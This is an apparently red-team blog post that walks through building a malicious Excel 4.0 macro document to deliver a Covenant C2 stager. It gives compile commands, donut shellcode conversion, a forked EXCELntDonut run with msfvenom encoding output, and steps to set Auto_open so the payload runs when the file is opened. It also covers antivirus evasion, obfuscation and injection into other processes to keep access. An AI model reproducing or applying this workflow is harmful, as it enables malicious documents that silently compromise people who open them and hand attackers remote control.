The aim of this little experiment was to utilise XLS 4.0 macros to deliver a covenant stager, I have been working on numerous initial delivery mechanisms for C2 frameworks and have been spending time working through malicious macro development and pulling inspiration from current maldoc analysis. There are numerous posts on using XLS 4.0 macros to run basic functions or even utilising downloaded java files to carry out injection tasks. However the primary sources for this was an article by outflank here and and awesome tool from FortyNorthSecurity here.
The idea was to take the C# injection method used by EXCELntDonut and weaponize it further to stage covenant or any other c2 C# loader or beacon. To achieve this goal I butchered (quite literally) the original source code for EXCELntDonut, for my purposes. I had no need to provide raw CS code and worry about references and mono issues. I was precompiling and donuting the executables and working with these so mono was an unnecessary addition. This method can also be applied to deliver any working shellcode. However I didn’t reinvent the wheel and liked the generation mechanism used in EXCELntDonut. My adapted script can be found in my fork here, it simply takes only precompiled x64 and x86 bin files.
Preparing and using the Covenant Launcher
Grab the source from a relevant covenant launcher.

Save this as a .cs file and compile two versions of this, both a 64Bit and 32Bit, you can use the standard covenant binary for the 64 bit however to ensure it is compiled with the correct arch I will do it manually. You may get some errors when compiling the 32bit but they can be ignored, the Agent seems to work wellish still. You can skip the generation of one or the other binary if you know the operating system version / arch version of the Excel you are targeting. You can simply supply a garbage file in its place when running EXCELntDonut.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
Once these are compiled you can then convert them into shellcode using donut. Ensure you select the correct architecture again, check the donut help file if unsure.
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
Once you have these two files you can go ahead and run the forked version of EXCELntDonuts, drive.py this has no additional requirements outside of the standard python libraries. It does require MSFVenom to be installed on the and in the user path.
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
optional arguments:
-h, --help show this help message and exit
--x64bin X64BIN path to x64 .bin file
--x86bin X86BIN path to x86 .bin file
-o OUTPUTFILE Output filename. Defaults to excelntdonut.txt
--sandbox Perform sandbox checks.
--obfuscate Perform obfuscation.
Provide the drive.py script with the generated x86 and x64 bin files. This may take a little bit of time as MSFVenom parses the payload and removes ‘\x00’ and you should hopefully be rewarded with a txt file called excelntdonut.txt, unless you specified a different output.
root@commando:~/EXCELntDonut/EXCELntDonut# python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
[i] Removing null bytes from x86 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Encoding failed due to a bad character (index=662, char=0x00)
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=39, char=0x00)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive failed with Encoding failed due to a bad character (index=3012, char=0x00)
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 28512 (iteration=0)
x86/xor_dynamic chosen with final size 28512
Payload size: 28512 bytes
Saved as: _excelntdonut_ZJZgFhBJP2.bin
[i] Null bytes removed for x86.
[i] Removing null bytes from x64 shellcode with msfvenom
Attempting to read payload from STDIN...
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor failed with A valid encoding key could not be found.
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 29005 (iteration=0)
x64/xor_dynamic chosen with final size 29005
Payload size: 29005 bytes
Saved as: _excelntdonut_kphRLZq2.bin
[i] Null bytes removed for x64.
[i] Successfully turned your C# file into an XLM macro.
################################################
# NEXT STEPS #
################################################
# 1. Open an Excel workbook. #
# 2. Right click to insert a new sheet. #
# Select 'MS Excel 4.0 Macro'. #
# 3. Open your output file in a text editor, #
# copy everything and paste it into Excel. #
# 4. Columns are divided by semi-colons (;) #
# use the Text-to-columns feature in Excel #
# to separate the data into columns. #
# 5. Right click on the first cell of your #
# macro (A1 unless using obfuscation). #
# Click 'Run' to make sure the code works. #
# 6. Left click on that same cell. Then, #
# click the drop down right above it that #
# says A1 (or whatever the first cell is) #
# and change it to 'Auto_open' #
# 7. Save the file as .xls or .xlsm #
################################################
# By @JoeLeonJr (@FortyNorthSec) #
################################################
With this file your now ready to import this into an xls document you can follow the steps outlined at the end of the script. Once you have imported the data and delimited as instructed you should have a giant sheet of instructions.

This is the 4.0 Macro, for a far better explanation of the functions and what’s going on under the hood you can check out the outflank article I linked at the top of the post, and do some digging into the functions available there is a 600+ page pdf available that can detail a number of the functions and their use. There are other options that EXCELntDonut makes use of to obfuscate and carry out basic sandbox evasion. You can even have the macro exit the application with a warning once your nefarious document has done its job by adding your own functions.
These embedded formulae go quite far in terms of evading local AV, often defender and other providers won’t detect or block these documents. However they are not undetectable and are picked up. Excessive use of the =CHAR value and a few other red flag functions seem to increase detection rates, but it still remains a useful and currently heavily utilised delivery method by both Red Teams and other more nefarious actors. This technique can be combined with other macro generators to reduce the re use of the =CHAR function which many thousand of occurances in a single document would be considered unusual.
With this macro generated you can now test it will run by simply right clicking the first column and clicking run.

Once you hit run you will see a potential draw back of using a covenant launcher with this method which is the speed of execution…
Once you have tested the payload works you can change the name of the first cell in the macro string to “Auto_open”. This will ensure the macro runs when the document is opened. However just by running it as you can see, success! We have a Covenant Grunt.


Depending on the host or target specs and the size of the payload all have a massive impact on execution time. Not to mention the sheer size of the actual macro itself for a payload this complex is large and easily identifiable from normal non malicious macros.
Next Steps and caveats.
This simply shows it is possible to use complex C# launchers through XLS 4.0 macros easily thanks to the work done in EXCELntDonut and other research. However, these launchers are often too large to be effective in a real engagement or the execution time on them is too high. I have had the highest level of success using injection cradles written in C# and imported into XLS 4.0 docs. By utilising remote streaming of launcher bin files within the payloads I was able to keep the execution time low with a payload size of around 40kb’s.
This injection cradle method also gets around the other key issue with the simply running the launcher as part of the EXCELntDonut script which injects into the running Excel process itself which creates a number of problems such as the grunt being lost the moment excel is closed. With the injection scripts and a bit of logic you can automate the injection into another “approved” running process which provides stability and breaks the parent child relationship with excel.